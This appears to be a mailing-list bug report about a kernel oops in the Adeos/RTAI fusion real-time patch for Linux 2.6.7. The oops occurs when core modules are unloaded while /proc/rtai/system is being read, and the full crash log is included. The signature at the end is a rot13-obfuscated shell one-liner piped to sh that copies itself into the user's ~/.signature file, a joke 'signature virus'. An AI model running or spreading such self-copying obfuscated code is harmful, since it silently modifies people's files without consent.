Hi Philippe! I'm using linux-2.6.7 with Adeos 2.6r6c4/x86, gcc version 3.3.4 (Debian 1:3.3.4-3) and the latest fusion CVS co.
On one console I was running 'watch -n 1 cat /proc/rtai/system' and on another unloading the core modules (rtai_nucleus and rtai_hal). I got a nice Linux-Kerneloops, system kept running. Further 'cat /proc/rtai/system' got killed due to segfaults. hth - Marc Jul 26 16:11:06 pc39 kernel: c01bd482 Jul 26 16:11:06 pc39 kernel: PREEMPT Jul 26 16:11:06 pc39 kernel: Modules linked in: rtai_nucleus rtai_hal adeos 3c59x Jul 26 16:11:06 pc39 kernel: CPU: 0 Jul 26 16:11:06 pc39 kernel: EIP: 0060:[vsnprintf+818/1232] Not tainted Jul 26 16:11:06 pc39 kernel: EFLAGS: 00210297 (2.6.7-adeos-r6c4) Jul 26 16:11:06 pc39 kernel: EIP is at vsnprintf+0x332/0x4d0 Jul 26 16:11:06 pc39 kernel: eax: d2b8e6f1 ebx: 0000000a ecx: d2b8e6f1 edx: fffffffe Jul 26 16:11:06 pc39 kernel: esi: c4293059 edi: 00000000 ebp: ffffffff esp: c740fe4c Jul 26 16:11:06 pc39 kernel: ds: 007b es: 007b ss: 0068 Jul 26 16:11:06 pc39 kernel: Process cat (pid: 1505, threadinfo=c740e000 task=c702adb0) Jul 26 16:11:06 pc39 kernel: Stack: 000000d2 cf93e78c 00000001 c702adb0 00000010 c03023cc 00000000 000000d2 Jul 26 16:11:06 pc39 kernel: ffffffff ffffffff 00000018 0000000e 00000001 c4293057 c01bd6f8 c4293057 Jul 26 16:11:06 pc39 kernel: 3bd6cfa9 d2bc1555 c740febc c01bd71f c4293057 d2bc1552 c740feb4 d2bb4408 Jul 26 16:11:06 pc39 kernel: Call Trace: Jul 26 16:11:06 pc39 kernel: [vsprintf+40/48] vsprintf+0x28/0x30 Jul 26 16:11:06 pc39 kernel: [sprintf+31/48] sprintf+0x1f/0x30 Jul 26 16:11:06 pc39 kernel: [pg0+310371336/1069842432] xnpod_read_proc+0xa8/0x4e0 [rtai_nucleus] Jul 26 16:11:06 pc39 kernel: [buffered_rmqueue+284/656] buffered_rmqueue+0x11c/0x290 Jul 26 16:11:06 pc39 kernel: [handle_mm_fault+256/496] handle_mm_fault+0x100/0x1f0 Jul 26 16:11:06 pc39 kernel: [__alloc_pages+784/880] __alloc_pages+0x310/0x370 Jul 26 16:11:06 pc39 kernel: [pg0+310371168/1069842432] xnpod_read_proc+0x0/0x4e0 [rtai_nucleus] Jul 26 16:11:06 pc39 kernel: [proc_file_read+197/608] proc_file_read+0xc5/0x260 Jul 26 16:11:06 pc39 kernel: [vfs_read+184/304] vfs_read+0xb8/0x130 Jul 26 16:11:06 pc39 kernel: [sys_read+66/112] sys_read+0x42/0x70 Jul 26 16:11:06 pc39 kernel: [syscall_call+7/20] syscall_call+0x7/0x14 Jul 26 16:11:06 pc39 kernel: Jul 26 16:11:06 pc39 kernel: Code: 80 38 00 74 07 40 4a 83 fa ff 75 f4 29 c8 83 e7 10 89 c3 75 Jul 26 16:11:07 pc39 kernel: <1>Unable to handle kernel paging request at virtual address d2b8e6f1 -- #!/bin/sh set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \ shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\ echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh
